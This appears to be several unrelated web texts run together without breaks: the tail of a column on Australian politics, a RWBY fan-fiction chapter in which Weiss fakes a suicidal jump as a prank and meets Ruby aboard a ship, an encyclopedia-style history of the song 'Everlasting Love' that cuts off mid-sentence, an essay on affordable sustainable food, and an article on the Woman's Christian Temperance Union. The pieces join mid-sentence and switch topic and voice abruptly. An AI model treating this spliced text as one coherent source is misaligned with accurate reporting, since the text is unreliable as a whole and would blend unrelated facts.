In the Hawke/Keating and Howard/Costello dealings there was also the element of political competition, which manifested itself increasingly as the years wore on.
Abbott and Hockey (who could have got the leadership ahead of Abbott if he had played his cards differently) are blood brothers in these early days of power. But this will be one of the most interesting relationships in this government and the budget, with its response to the audit, could write its first chapter.
Listen to Nick Xenophon on the Politics with Michelle Grattan podcast, available below, by rss and on iTunes.You know what this story is missing?
Ador-Ruby-ness. Oh and Yang level puns. Well, I can fulfill at least one of them this chapter, I hope.
Please enjoy.
Chapter 3: The Meeting
If she was doomed to this forsaken ship, then at least she will enjoy the finer splendors in life. Like food. Good food. Warm, delicious, specially prepared by five star chefs kind of good.
Decked out in beautiful spreads, the banquet hall was filled with mingling guests as Weiss entered through giant mahogany double doors. Her eyes skimmed the room to see if there was anyone of notable import. Neptune was seated at a table along with the captain. He gently turned down every offer to dance with a nervous chuckle; no doubt he didn't know how and didn't want to look like a fool in front of everyone.
Aside from the minor relatives she barely knew and Neptune, long flowing red hair caught her attention.
Pyrrha Nikos. Long time Olympic champion and quite notable for her helpful and cheerful personality. Despite being only middle class by birth, she won the hearts of all classes through sheer hard work and determination, triumphing repeatedly in the global games that skyrocketed her fame. Not letting it go to her head, she still strived to be better, the perfect image of humility.
Perfect. Weiss smiled wryly at how apt the word fitted the girl. As if the entire world ordained it from birth, her entire life was set up perfectly. Blessed just enough to give her a happy family, set with just enough obstacles for her to clear.
Jealous? Weiss was at one point in her life when she first found out about Pyrrha. The storybook life she must have led, the future she looked forward to. Somehow, that all changed over the years. She even felt a strange sense of admiration for the girl and a desire to get to know her. Not that anything ever came to fruition.
Even now, she seemed to blend in perfectly with the other guests. As she turned, she must have noticed Weiss. Brightly illuminated white hair tended to be eye-catching.
"Why hello there," she greeted as she walked over.
"Hello, Pyrrha Nikos," Weiss returned with a small curtsey.
Pyrrha giggled slightly. "As you know my name already, might I be a bit presumptuous? You are Weiss Schnee?"
"Indeed," Weiss nodded forward slightly.
"Would you like to join us?" Pyrrha offered her hand. A tender gloved hand that might be the salvation to her ennui.
"If I would not be intruding," she humbly replied. Mustn't seem too eager, mustn't reject too strongly. Those were the teachings her father had imparted with her, though she wanted to accept whole heartedly if it meant a chance to talk to her childhood idol. The political dance of ambiguity was not one she enjoyed performing, but had to if she wanted to move anywhere in society, quite literally.
"Of course not," Pyrrha smiled and took her hand and led her to a table.
Weiss sat across from Pyrrha, strangers to her left and right. She didn't really recognize them, though one of the girls she vaguely recalled for beating Pyrrha in one of the games… hammer throw if she remembered correctly.
Unfortunately, as polite conversation was made, Weiss felt herself drifting further and further away. Unlike Pyrrha, who easily transitioned from one topic to another, always gaily keeping pace with the other guests, Weiss was out of place, unable to contribute anything meaningful to the conversation.
With everyone wanting to talk to Pyrrha, Weiss shouldn't have expected any difference. She could hardly get a word in edgewise and what would she have even talked about?
She couldn't even enjoy the dinner she was looking so forward to. A shame since her plate had a beautifully seared salmon steak, fresh and glistening from the slightly caramelized surface. Utterly tasteless… like the topics around her.
"Thank you for inviting me," Weiss stated as she stood from the table. "I'm afraid I must be heading back to my room."
"Are you feeling okay?" Pyrrha asked worriedly as she made to stand, though Weiss held up her hand.
"Just a bit… seasick, I suppose," she sighed.
"Let me walk you back to your room," Pyrrha offered.
Weiss shook her head. "No, no. Please don't trouble yourself." Her mind whirred, trying to find an excuse. "I'm… just going to get some fresh air before I retire for the night."
Pyrrha just looked at her for a moment, no doubt wary of letting someone ill wander off alone. Not that she could do anything without seeming intruding.
Weiss waved shortly and left the dining room behind, not even bothering to meet the eyes of anyone else.
Five minutes. She couldn't even last five minutes in the presence of company, she bemoaned. How was she ever going to take over as the next head?
Perhaps the night air really will clear up her mind as she found herself on the deck. She wasn't thinking, letting her feet take her where they will, but she wasn't opposed to the results.
Craning her neck back, she took in the night sky. Stars shimmered in the inky sky, not a cloud to obstruct the dazzling view. She half-heartedly wished that the ship's lighting would blow out so that the scene could be even more perfect, but she quickly stopped that dangerous line of thinking. Losing power in the middle of the ocean was no laughing matter.
Alone out in the quiet sky, despite the people just behind the walls. Weiss smirked wryly at how lonely she made herself. She knew she was antisocial, though in her defense, people didn't really give her much reason to meet them halfway.
Her hands traced the railings as she neared the edge. Was the railing colder or her hands? She couldn't tell the difference.
Her eyes swept the uneven surface of the ocean glistening from the moon overhead. An inane idea popped into her head to peer over the bow. Stupid as it sounded, she decided to look anyways, making sure to keep a steady hand on the railings. Maybe it was the night's air, or that full moons really did make lunatics.
White froth. The trails left behind as the ship cruised on through it's journey. Was that what she was? The froth left behind as her family's name cruised on through history? Is she destined to dissipate away, lost in the tides of time?
She shook her head ruefully. Clearly she was going crazy from cabin fever if she was already waxing philosophy and it was only a day's journey so far.
"DON'T JUMP!"
She heard a scream and was tackled harshly to the side.
Colliding painfully with the hard wooden deck, Weiss' vision swam as her brain tried to catch up with what just happened.
"I know life can be hard! And sometimes things look bleak! But- but!"
A round and childish face slowly swam into view.
"But don't just throw your life away!" she wailed, nearly to the point of tears.
The sudden realization of what she was implying struck Weiss. The sudden realization of where her hands were…
"You dolt!" she screamed back and shoved the girl as hard as she could off.
As she scrambled to her feet, she finally got a good look at the girl who tackled her. A mop of dark hair, though glinting strangely red near the tips, unkempt told her of the girl's station in life. Her clothes, a simple black top and skirt, was decorated with patches and wrapped around her neck was a red cloak. Black soot seem to streak her cheek on one side and she carried around a small bag of rough material.
Why was a third class passenger allowed on deck? More specifically, the third class was set to the stern of the ship. Weiss was certain the upper floors and bow were reserved for the elite echelons.
A small smile nearly broke out on her face, but she kept stoic. She had an evil little idea. A prank to pass the time before someone came to take the child back to the lower decks. Served her right too for interrupting Weiss' alone moment.
"And you're going to stop me?" Weiss questioned haughtily.
She stepped near the railing again, glancing at the waters below.
"You don't know me, so don't even presume to understand me," she stated imperiously.
"M-maybe not…" the girl hesitatingly put forth. "B-but your life can't be all that bad…"
"Like you know anything," Weiss muttered, half truthful. She did somewhat resent her life, not enough to commit suicide over it, but the feelings were still there.
"Umm…" the girl fidgeted. "Maybe I can make you feel better?"
Weiss raised an eyebrow questioningly. This was not the first time someone had told her that, though those types of advances she threw out along with last week's trash. She knew full well of their implications.
The girl cleared her throat. "Ahem, my name is Ruby Rose!" she said cheerfully. "Your life may seem bad now, but you have a lot of things to happy about right?" Ruby thought for a moment. "I can tell you what makes me happy! My sister and I getting snacks! Or paper! Oooh! Even better is a book!"
Weiss blanched. Perpetually happy people were the hardest kinds for her to deal with. Plus, she couldn't seem to rile the girl up about her 'fake' suicide.
Weiss gulped, knowing what she was about to do next is utterly foolish, but she had already gone this far, might as well go all the way. She lifted her foot up and stepped onto the first rung of the railing.
Ruby halted her ranting and stared at her.
"I-I'm serious you know!" Weiss shot back at her, making sure to stutter to make it seem like she's really thinking about jumping.
Ruby kept quiet, just staring.
Weiss internally smirked. How will she react to this? If Ruby wanted to continue this game of convincing, Weiss was ready to blow her happy fantasies to smithereens. If Ruby ran off to get help, Weiss will just go back to her room. A bit mean, making the girl out to be a liar, but Weiss didn't really care. Besides, Ruby shouldn't have been here anyways!
Instead, Ruby just knelt down and started to untie her boots.
"What are you doing?" Weiss asked incredulously.
"Taking off my boots," Ruby stated as if it was the most obvious thing in the world.
"Don't tell me you're planning on jumping in with me?" Weiss nervously sweated. She wasn't prepared for this.
"No," Ruby finished taking off both boots and stood up to face her. "I'm faster without them."
A cocky grin.
"I'll catch you before you even make it to the first porthole!"
Weiss' turn to stare.
"… Are you an idiot?" she had to ask to make sure.
"Hey! That's not very nice!" Ruby pouted cutely.
Weiss shook her head, wondering where the thought came from.
She stepped off from the railing, deciding not to try and push further. She knew when to fold. Carefully composing herself, she gave a small curtsey and introduction, "My name is Weiss Schnee. A pleasure to make your acquaintance."
"Err.. sure?" Ruby shrugged, confused by Weiss' actions thus far.
Weiss didn't really care what she thought and rolled along as if her past actions were but a moment's dream.
"So what brings you to the first class deck?" Weiss asked, wondering how Ruby even got past the guards that stood at each entrance and exit.
"I wanted to see the stars!" Ruby exclaimed excitedly. "And I wanted to see the whole ship! It's sooooooo big!"
Ruby skipped around on the deck, her bare feet making soft patters on the wood. Twirling, her red cloak flared behind her like a giant red tail as she danced around Weiss.
Weiss watched in fascination as Ruby spun around her. So happy. So free. As if there was absolutely nothing wrong in the world.
She was so engrossed she hardly heard the slight clack as a door behind her opened.
"What's going on up here?" Pyrrha's voice drifted over.
Weiss spun around to see Pyrrha along with Neptune and a few people she didn't recognize or remembered.
Before anyone could say anything,
"Hi!" Ruby greeted.
"Well hello there," Pyrrha greeted back good-naturedly. She turned to Weiss, "We were worried about you as no one saw you head to your room."
"Are you alright?" Neptune asked with genuine worry.
"Ah, yes…" Weiss' voice drifted back to her usual tone. "I wanted to enjoy the night air a bit longer before retiring." She saw the questioning glances at Ruby. "That's when I met Ruby here. Ruby, Pyrrha, Neptune," she quickly introduced.
Ruby continued to grin and wave like an idiot. Pyrrha waved back.
"What are you doing here?" a gruff sounding crew member asked. He must be part of the escort. "You don't look like you even belong in second class!"
Weiss internally grimaced. This was playing out exactly as to how she imagined it earlier, but now she didn't want to see Ruby dragged away to the other end of the ship. When it came down to it, Weiss just wasn't as mean spirited as she wanted to be. She wracked her brain for an excuse while Pyrrha looked the girl over.
"Where are your shoes?" Pyrrha asked with concern tinging her voice.
"I took them off," Ruby answered, still oblivious about her violation of rules.
Of course, that answer led to everyone's collective question of, "Why?"
The moment Ruby opened her mouth widely, Weiss placed her hand in front of it.
"Don't yawn without covering your mouth," she chided. A lie that no one would believe, but Weiss didn't need anyone to believe it. Just not to question it.
Ruby was about to say something back, but the glare she received more than told her to keep her mouth shut.
"Anyways, I saw Ruby further down the ship," Weiss gestured towards the stern. "She wanted to look at the stars and I asked her to keep me company. She took off her shoes to climb over the class railings," Weiss gestured towards the shorter railings that was only waist high. These separated the classes with first class passengers towards the front, second class in the middle, and third class towards the back.
That should be enough of an excuse to keep Ruby out of trouble. Even more convincing is that Weiss could easily attribute her reason to a passing whim. Now if only they would let the subject drop…
"Yeah! Want to see me do it?" Ruby offered in hopes of reinforcing Weiss' story.
Weiss' glare returned full force. Why would she give them more reason to scrutinize her?! Doesn't she realize that Weiss was trying to get her off the hook?
"N-no that would be quite alright," the crew member was quick to believe her. Luckily, her confidence must have convinced him.
Ruby shrugged and went to put her shoes back on.
"It is getting rather chilly out here," Pyrrha pointed out. "Perhaps it would be best if we all retire for the night," came her sound suggestion.
"Quite so," Weiss agreed.
"Allow me," Neptune offered his arm. Weiss would have been fine walking back by herself, however to deny him now would be frowned upon by everyone, thus she had no choice but to accept.
"Would the miss like an escort?" the crew member offered.
"Hmm?" Ruby looked back at them. "Nah! I'm fine," she grinned and looked straight at Weiss.
Their eyes locked and Weiss could sense Ruby was trying to send her a message. Probably something stupid like 'I'll make sure they all believe your story.'
Ruby took off like a shot towards the class railings and vaulted over them in a single bound.
"Told ya' I could do it!" her receding cry cut through the palpable silence that followed.
Weiss stared in horror and had to resist the urge to chase after the dunderhead and beat some sense into her. She didn't even take off her shoes so now there was a gaping contradiction!
"Such an energetic girl," Pyrrha complimented. "I do hope we get a chance to be better acquainted during this trip."
The other elitists made a disagreeable face as if she just said she wanted to eat something not allowed in polite company. Still, they held their tongue and Weiss was grateful that Pyrrha drew the attention to herself.
As they walked back through the brightly lit halls, Pyrrha caught her eye and she saw an innocent smile and wink.
Did… did she just help us out?
So Weiss finally meets Ruby. Did I succeed in her charm?
Hehe, as always, please leave a review and I'll see you all next chapter.This article is about the song. For other uses, see Everlasting Love (disambiguation)
"Everlasting Love" is a song written by Buzz Cason and Mac Gayden, originally a 1967 hit for Robert Knight and since remade several times, most successfully by the Love Affair, as well as Town Criers, Carl Carlton, and Sandra. In 1989, U2 released a version of "Everlasting Love" as a B-side on various formats of the "All I Want Is You" single.
Overview [ edit ]
The original version of "Everlasting Love" was recorded in Nashville by Robert Knight, whose producers Buzz Cason and Mac Gayden aimed to record him in a Motown style with especial reference to the Four Tops and the Temptations. Ultimately "Everlasting Love" was released as an A-side for Knight and reached #13 in 1967. Subsequently, the song has reached the US Top 40 three times, most successfully by Carl Carlton, who peaked at #6 in 1974, with more moderate success afforded later remakes by Rex Smith and Rachel Sweet (#32/ 1981) and Gloria Estefan (#27/ 1995).
In the UK "Everlasting Love" was covered by the Love Affair and achieved #1 status in January 1968. Although that version eclipsed the Robert Knight original, which stalled at #40, Knight's version was reissued in 1974 and reached #19 UK. Also in 1968, a cover by the Australian group, Town Criers, reached #2 in the Australian charts.
A 1981 duet version, sung by Rex Smith and Rachel Sweet, reached #35 UK, and in the 1990s "Everlasting Love" reached the UK Top 20 three times via remakes by Worlds Apart (#20/ 1993), Gloria Estefan (#19/ 1995) and, most successfully, a charity single by the cast from Casualty that reached #5 in 1998. In 2004, Jamie Cullum reached #20 with his version.
Thus, "Everlasting Love" is one of two songs to become a Billboard Hot 100 top 40 hit in the 1960s, 1970s, 1980s, and 1990s (the other being "The Way You Do the Things You Do") and the only song to become a UK top 40 hit in the 1960s, 1970s, 1980s, 1990s, and 2000s, always – with the exception of the 1980s – reaching the UK top 20.
In 1987, the rendition of "Everlasting Love" by Sandra reached the Top 20 in at least eight territories, going Top 10 in four. Her version also reached UK #45 in early 1989, affording "Everlasting Love" its second UK Top 50 incarnation of the decade. The versions of the song by the Love Affair, Rex Smith and Rachel Sweet, Worlds Apart, and Gloria Estefan also saw multinational chart action which was especially strong for the Love Affair version.
As early as 1968, "Everlasting Love" was remade for the country music market by Hank Locklin, who charted at #57. Narvel Felts would make the song a major C&W hit in 1979, reaching #14 on the Billboard C&W chart; a concurrent remake by Louise Mandrell peaked at #69 C&W.
Just prior to the release of Jamie Cullum's 2004 version, Buzz Cason theorized on his composition's appeal: "It's an uplifting song, with a real positive feeling, and it's danceable. I think people get a lift from it. When it comes to that chorus it just really lets go."[1]
Robert Knight version [ edit ]
The original version of "Everlasting Love" was recorded at Fred Foster Sound Studio in Nashville. According to Cason, the track "had some different sounds on it that, for the time period, were kind of innovative. The string sound is actually a farfisa organ that Mac came up with, and we used a lot of echo." [2] Robert Knight recalls: "Buzz was into country [music] but Mac was R&B...so we made it more of an R&B song like the rhythm and melody Mac had. I practiced and practiced on with Mac, as he had written the song for my voice and made it mine. Mac used his bandmates: [drummer] Kenny Buttrey, [bassist] Norbert Putnam, Charlie McCoy and himself on guitar." [3] The background vocals on the song were performed by Buzz Cason and Carol Montgomery. Robert Knight recalls that he heard "Everlasting Love" for the first time at the actual recording session: "I didn’t sing it the [as] written[:] I made some changes to fit my voice, and I didn’t do it note for note. They had the melody going too fast, and it was jamming, it wasn’t doing right, it wasn’t sounding right. So I started what you call a steady step. I start singing a beat and a half: 'hearts-go-a-stray' – like that. It wasn’t like that in the beginning, and I think that's what got 'Everlasting Love' off the ground." [4]
Mac Gayden (composer) on Everlasting Love The story of "Everlasting Love" began when I was playing with a band at the Phi Delta fraternity house at Vanderbilt University in Nashville. During a break in our set, we came outside and heard this fantastic voice singing down the street. So we ran down to the Kappa Sigma house to see who it was, and the singer, who was Robert Knight of course, was just going on his break. I told him 'I need to take you into the studio' and of course he just looked at me like 'What the hell? Get out of my face!' But it turned out there was a connection between my family and his, so eventually I did take him into a studio. And I introduced him to Buzz Cason, and Buzz and I wrote 'Everlasting Love' especially for Robert’s voice. It’s something very special when you custom-write a song for an artist, it's a phenomenal thing. I think that’s one reason the song’s proved so popular over the years. But the story actually starts a long time before that, when I was just five years old. I used to play on my grandmother’s piano and I came up with this simple little melody, almost like a lullaby, and that’s the melody that the horns and the Farfisa organ play on 'Everlasting Love'. I'd always known I'd use that melody somewhere along the line! To this day I make a point of recording all my musical ideas. I have hundreds and hundreds of tapes all over the house, I keep everything – it’s like having a giant catalogue of melodies to draw on. I think the other reason the song has been so successful, is that it was definitely written to be catchy and singable – when we came to write the chorus, I had in mind for it be almost like a chant. It was one of the first songs to have one of those repetitious R&B-style chants.[5]
Although Buzz Cason and Mac Gayden had written "Everlasting Love" to serve as the B-side for their composition "The Weeper" which Robert Knight would record the next day, the hit potential of "Everlasting Love" was evident at the end of that recording session, and it was the last-named song which was issued as Knight's single in July 1967. "The Weeper" would in fact never be released, the track "Somebody's Baby" serving as the B-side for "Everlasting Love".
Debuting on the Billboard Hot 100 dated September 30, 1967, "Everlasting Love" had already reached #1 in Philadelphia and Detroit by the time of its Top 40 debut on October 21, 1967. Cason - "['Everlasting Love'] drove... the promotion guys nuts since it hit in one market then several weeks later pop up somewhere else."[6] The track spent its second week at its Hot 100 peak of #13 on the chart dated December 2, 1967 then dropped off the Hot 100 over the next three weeks. The R&B chart peak of "Everlasting Love" was #14.
In its original release, Knight's "Everlasting Love" lost out in the UK to a cover by Love Affair, although Knight's version did spend two weeks at #40 UK in January 1968. In the spring of 1974, Knight's "Everlasting Love" had a second UK release to follow up the Top Ten success of the reissue of Knight's "Love on a Mountain Top"; this time the first-named track reached #19.
An airplay staple on American oldies radio stations (though less so than the 1974 Carl Carlton version), Knight's "Everlasting Love" has become a "cult favorite" of the beach music scene. In a 2011 interview, Buzz Cason stated that the Robert Knight original of "Everlasting Love" remained Cason's favourite version of the song: "I just think Robert's was the one [version] that had the magic in it."[2]
Charts [ edit ]
Chart (1967) Peak
position US Billboard Hot 100 13 Chart (1968) Peak
position UK Singles Chart 40 Chart (1974) Peak
position UK Singles Chart 19
The Love Affair version [ edit ]
According to the Love Affair lead vocalist Steve Ellis: "We had two managers David Wedgebury and John Cokell who both worked at Decca [and] had access to all the imports on the Monument label. We rehearsed in a factory in Walthamstow and one night they turned up with 'Everlasting Love' by Robert Knight... I loved it and so we set about putting it down on tape."[8] Muff Winwood produced the original Love Affair version of "Everlasting Love" which was recorded at Island Studios and featured the group's actual members: Island Records passed on releasing the track but CBS in-house producer Mike Smith - after failing to interest his regular clients Marmalade in recording the song (which Marmalade deemed "too poppy") - cut a new Love Affair version of "Everlasting Love".
The second Love Affair recording of "Everlasting Love" in fact featured only one member of the group: lead vocalist Steve Ellis who fronted a session ensemble comprising arranger/ conductor Keith Mansfield's 40-piece orchestra plus a rhythm section, the session musicians including Peter Ahern (triangle percussion), Clem Cattini (drums), Alan Parker (guitar), Russ Stableford (bass), and a chorale comprising Madeline Bell, Kiki Dee, Lesley Duncan, and Kay Garner: the track was recorded in two takes.[9] Mike Smith would eventually attribute the non-utilization of the actual musicians in Love Affair to the need for expediency (quote - "there just wasn’t time for the group to learn the arrangement in time, so we used session musicians"),[10] a UK release for the Robert Knight original version being imminent.[7]
Debuting on the UK Top 50 dated January 2, 1968, "Everlasting Love" by the Love Affair rose to No. 1 in the UK Singles Chart for a two-week stay that February.[11] The track also charted internationally - see the chart below.
When the Love Affair appeared on the ITV programme Good Evening I'm Jonathan King host Jonathan King asked group bassist Mick Jackson if the band had actually played on their hit recording of "Everlasting Love" and Jackson admitted the track had featured Ellis backed by session musicians. Steve Ellis has stated that Jonathan King was aware of the background of the Love Affair hit and ambushed Mick Jackson to invoke controversy, although Jackson would state: "We announced it ourselves because there were rumours about it in the business and we heard a Sunday newspaper was going to blow the story". Jackson also stated: "At first we didn’t worry that much when the story about us not playing came out... Then the thing escalated and people all over the place started slagging us. We got to regard it as a terrible nuisance, every time we opened a paper there was someone having a go at the Love Affair."[10] The bad press had little if any negative impact on the band's popularity:[7] Their follow-up to "Everlasting Love": "Rainbow Valley" - another Cason/Gayden composition introduced by Robert Knight - reached #5 UK and the additional success of "A Day Without Love" (#6) made Love Affair the UK's top group in singles sales for the year 1968 apart from the Beatles.[12] (The Love Affair singles continued to feature Ellis fronting a session ensemble with no other group members participating.)
All of these singles were released by CBS in the label's native United States on its Date Records subsidiary. However, despite their popularity in Europe, none of the Love Affair's singles charted in the US.[13]
Charts [ edit ]
Carl Carlton version [ edit ]
The most successful US release of "Everlasting Love" was by Carl Carlton, which reached the Top Ten on the Billboard Hot 100 in 1974.
The track features a distinctive countermelody running through most of the song consisting of background vocal harmonies. Brenda Russell is among the background vocalists.
Carlton had recorded "Everlasting Love" in October 1973 at the Berry Hill (Tenn) studio Creative Workshop, which was owned by Buzz Cason; however, Cason was not involved in the recording by Carlton, the singer himself choosing to record "Everlasting Love", which he knew via the version on David Ruffin's 1969 My Whole World Ended album. Produced by Papa Don Schroeder and Tommy Cogbill, Carlton's original recording of "Everlasting Love" was issued as the B-side of the 1973 single "I Wanna Be Your Main Squeeze"; the track (i.e. "Everlasting Love") was then issued in July 1974 as an A-side after having been given a disco style remix, and became a discothèque favorite before breaking on the Hot 100 in September 1974 to proceed to a #6 peak that November, almost reaching the R&B Top Ten at #11.[14]
Carlton's version remains an airplay favorite on American oldies radio stations. According to Broadcast Music Incorporated (BMI), the 1974 Carl Carlton version has been played more than 4 million times.
One of the earliest Pop hits to crossover from disco airplay, Carlton's "Everlasting Love" is a staple of disco compilations, including the second installment of the Pure Disco CD compilation series.
Charts [ edit ]
Weekly charts [ edit ]
Year-end charts [ edit ]
Chart (1974) Rank Canada RPM Top Singles[20] 93
Rex Smith and Rachel Sweet version [ edit ]
The Austin American-Statesman
on "Ever |
food that is affordable, or food that is healthy for people and the planet, not both? I sometimes hear advocates for sustainable food criticized as elitists who don't care about the poor. I simply do not buy the argument that we should eat unhealthy food, pollute our streams, and degrade our soils because there are costs involved in not doing so. It is a false choice, and doesn't serve the poor, but rather protects the practices and profits of Big Ag.
What we need to do is make healthy food accessible and affordable by expanding markets, improving technology, and creating new models that sustain both natural systems and communities. That's what many are working to accomplish through empowering alternatives such as community gardens and farmers markets. Both keep popping up around the country. More than 8,000 farmers markets are registered in the USA Farmers Market Directory.
Farmers markets are not just places for the affluent to shop. People with limited resources have a right to fresh, healthy food. The Farmers Market Coalition website contains interesting data: The number of farmers markets and direct marketing farmers authorized to accept Supplemental Nutrition Assistance Program (SNAP) payments increased over five years by 360 percent, with 3,214 authorized in 2012 to accept SNAP. The USDA Food and Nutrition Service estimated that in 2011 more than $38 million was spent at farmers markets through SNAP and Women, Infant and Children (WIC) Farmers Market Nutrition vouchers.
Far better to work to create healthier, more just options -- local, regional, and global. All people need, deserve, and I believe want good, healthy food and access to it. How can we achieve that? I'll cite an excellent Buckminster Fuller quote used in another book on the topic, Oran B. Hesterman's Fair Food: "You never change things by fighting the existing reality. To change things, build another model that makes the existing model obsolete."
Young farmers and immigrant farmers are driving change. Latino farmers represent this country's fastest growing group of farmers. The face of farming is changing and will continue to change over the next few decades. Again, these changes present economic and social justice issues. Along with demographics, distribution and markets are changing, with distribution increasingly through farmers markets directly located in the communities they serve.
Experimenting with new models is also what we're trying to accomplish, in our own small way, on the Hampshire campus. We're changing the way food is produced, delivered, and consumed, from the purposely provocative 100% Local Food Challenge to our Sustainable Food Purchasing Guide. We're working to produce more of our own food on the college farm, build a supportive network with and for local organic farmers, and make just choices about what we grow and serve.
I'm very proud of what we are accomplishing on an operational level, but as an educational institution it's even more important for the future that our students are developing thoughtful, ethical frameworks for examining, challenging, and changing food systems and access.
We teach theory using an approach that relies heavily on experience; "ideas into action" is the heart of Hampshire. Our students and graduates seek to develop real solutions across the sectors of policy, health, and social entrepreneurship. A number of alumni have chosen agriculture and food systems, in one form or another, for their careers. Just as we are doing institutionally, they are working to put into place different models for how food can be grown, transported, and consumed.
To give just one local example: Two Hampshire alums who became farmers created the Tuesday Market, a farmers market in nearby Northampton. Dedicated to increasing access to fresh, healthy food for people of all incomes and backgrounds, Tuesday Market was set up so that SNAP payments could be doubled, in effect doubling families' food purchasing power at that farmers market each Tuesday.
Collaboration with communities involved in food justice greatly benefits our students. Through the years students have worked with Nuestras Raices, an urban agricultural organization working to see food justice flourish in the nearby city of Holyoke. Equitable partnerships teach our students -- and teach those of us who are staff and faculty -- about justice, and help build connectivity with communities close by."WCTU" redirects here. For the rail line in White City, Oregon, see WCTU Railway
The Woman's Christian Temperance Union (WCTU) is an active international temperance organization that was among the first organizations of women devoted to social reform with a program that "linked the religious and the secular through concerted and far-reaching reform strategies based on applied Christianity."[1] It was influential in the temperance movement, and supported the 18th Amendment.
The WCTU was originally organized on December 23, 1873, in Hillsboro, Ohio, and officially declared at a national convention in Cleveland, Ohio, in 1874.[2] It operated at an international level and in the context of religion and reform, including missionary work and woman's suffrage. Two years after its founding, the American WCTU sponsored an international conference at which the International Women's Christian Temperance Union was formed.[3] The World's Woman's Christian Temperance Union was founded in 1883 and became the international arm of the organization, which has now affiliates in Australia, Canada, Germany, Finland, India, Japan, New Zealand, Norway, South Korea, United Kingdom, and the United States, among others.
History and purpose [ edit ]
At its founding in 1874, the stated purpose of the WCTU was to create a "sober and pure world" by abstinence, purity, and evangelical Christianity.[4] Annie Wittenmyer was its first president.[5] The constitution of the WCTU called for "the entire prohibition of the manufacture and sale of intoxicating liquors as a beverage."[6]
Frances Willard, a noted feminist, was elected the WCTU's second president in 1879 and Willard grew the organization to be the largest organization of women in the world by 1890. She remained president until her death in 1898.
Its members were inspired by the Greek writer Xenophon, who defined temperance as "moderation in all things healthful; total abstinence from all things harmful." In other words, should something be good, it should not be indulged in to excess; should something be bad for you, it should be avoided altogether — thus their attempts to rid society of what they saw (and still see) as the dangers of alcohol.[7]
The WCTU perceived alcohol as a cause and consequence of larger social problems rather than as a personal weakness or failing. The WCTU also agitated against tobacco. The American WCTU formed a "Department for the Overthrow of the Tobacco Habit" as early as 1885 and frequently published anti-tobacco articles in the 1880s. Agitation against tobacco continued through to the 1950s.[7]
Hawaiian Gazette newspaper humorously illustrates the This 1902 illustration from thenewspaper humorously illustrates the Anti-Saloon League and the Women's Christian Temperance Union's campaign against the producers and sellers of beers in Hawaii.
As a consequence of its stated purposes, the WCTU was also very interested in a number of social reform issues, including labor, prostitution, public health, sanitation, and international peace. As the movement grew in numbers and strength, members of the WCTU also focused on suffrage. The WCTU was instrumental in organizing woman's suffrage leaders and in helping more women become involved in American politics. Local chapters, known as "unions", were largely autonomous, though linked to state and national headquarters. Willard pushed for the "Home Protection" ballot, arguing that women, being the morally superior sex, needed the vote in order to act as "citizen-mothers" and protect their homes and cure society's ills. At a time when suffragists were viewed as radicals and alienated most American women, the WCTU offered a more traditionally feminine and "appropriate" organization for women to join.[citation needed]
Although the WCTU had chapters throughout North America with hundreds of thousands of members, the "Christian" in its title was largely limited to those with an evangelical Protestant conviction and the importance of their role has been noted. The goal of evangelizing the world, according to this model, meant that very few Catholics, Jews, Muslims, Buddhists or Hindus were attracted to it, "even though the last three had a pronounced cultural and religious preference for abstinence".[8] As the WCTU grew internationally, it developed various approaches that helped with the inclusion of women of religions other than Christianity. But, it was always primarily, and still is, a Christian women's organization.
Policy Interests [ edit ]
The WCTU's work extended across a range of efforts to bring about personal and social moral reform. In the 1880s it worked on creating legislation to protect working girls from the exploitation of men, including raising Age of Consent laws.[9] It also focused on keeping Sundays as Sabbath days and restrict frivolous activities. In 1901 the WCTU said that golf should not be allowed on Sundays.[10]
The WCTU also wanted to aid immigrants coming into the United States through "Americanization" activities. Between 1900 and 1920, much of their budget was given to their center on Ellis Island, which helped to start the Americanization process. The WCTU promoted the idea that immigrants were more prone to alcoholism than Native Americans, focusing particularly on Irish and German immigrant communities as the source of the problem.[citation needed]
The WCTU was also concerned about trying to alleviate poverty, through abstinence from alcohol. Through journal articles, the WCTU tried to prove that abstinence would help people move up in life. A fictional story in one of their journal articles illustrates this fact:
Ned has applied for a job, but he is not chosen. He finds that the potential employer has judged him to be like his Uncle Jack. Jack is a kindly man but he spends his money on drink and cigarettes. Ned has also been seen drinking and smoking. The employer thinks that Ned Fisher lacks the necessary traits of industriousness which he associates with abstinence and self-control.[9]
Spread and influence [ edit ]
The Woman's Christian Temperance Union grew rapidly. The WCTU adopted Willard's "Do Everything" philosophy, which meant that the "W.C.T.U. campaigned for local, state, and national prohibition, woman suffrage, protective purity legislation, scientific temperance instruction in the schools, better working conditions for labor, anti-polygamy laws, Americanization, and a variety of other reforms"[11] despite having the image of a gospel temperance organization. The presidential addresses of the WCTU provide excellent insight as to how the organization seamlessly blended issues of grass-roots organizing, temperance, education, immigration and cultural assimilation.[citation needed]
One prominent state chapter was the Minnesota Women's Christian Temperance Union. The Minnesota chapter's origin is rooted in nation's anti-saloon crusades of 1873 and 1874 where women all throughout the United States "joined together outside saloons to pray and harass the customers."[11] In Minnesota there was stiff resistance to this public display and "in Anoka, Minnesota, 'heroic women endured the insults of the saloon-keeper and his wife who poured cold water upon the women from an upper window while they prayed on the sidewalk below. Sometimes beer was thrown on the sidewalk so that they could not kneel there but they prayed.'"[11] As a result, Minnesotan women were motivated and "formed local societies, which soon united to become the National Woman's Christian Temperance Union in 1874. Women from St. Paul, Minneapolis, Red Wing, and Owatonna organized their first local W.C.T.U. clubs between 1875 and 1877. The Minnesota WCTU began in the fall of 1877.[11] From this point the Minnesota WCTU began to expand throughout the state in both size and interests.
The Minnesota WCTU worked hard to extol the values of the WCTU which included converting new immigrants to American culture or "Americanization." Bessie Laythe Scovell, a native New Englander that moved to Minnesota in the 1800s and served as president of the Minnesota WCTU chapter from 1897–1909 delivered her 1900 "President's Address", where she expounded on the methods the Minnesota chapter of the WCTU would utilize to accomplish its variety of goals within the state. Scovell adopted what was at the time a "progressive" approach to the issue of immigrants, particularly German and Scandinavian in Minnesota, indulging in alcohol and stated:
We must have a regiment of American workers, who will learn the German language, love the German people, work among the German children and young people until we get them to love clear brains better than beer. There must be others who for the love of country and dear humanity will learn the Scandinavian language and be real neighbors to the many people of this nationality who have come to make homes in America. Again others must learn the French and Italian and various dialects, even, that the truths of personal purity and total abstinence be taught to these who dwell among us. We must feel it a duty to teach these people the English language to put them in sympathy with our purposes and our institutions.[12]
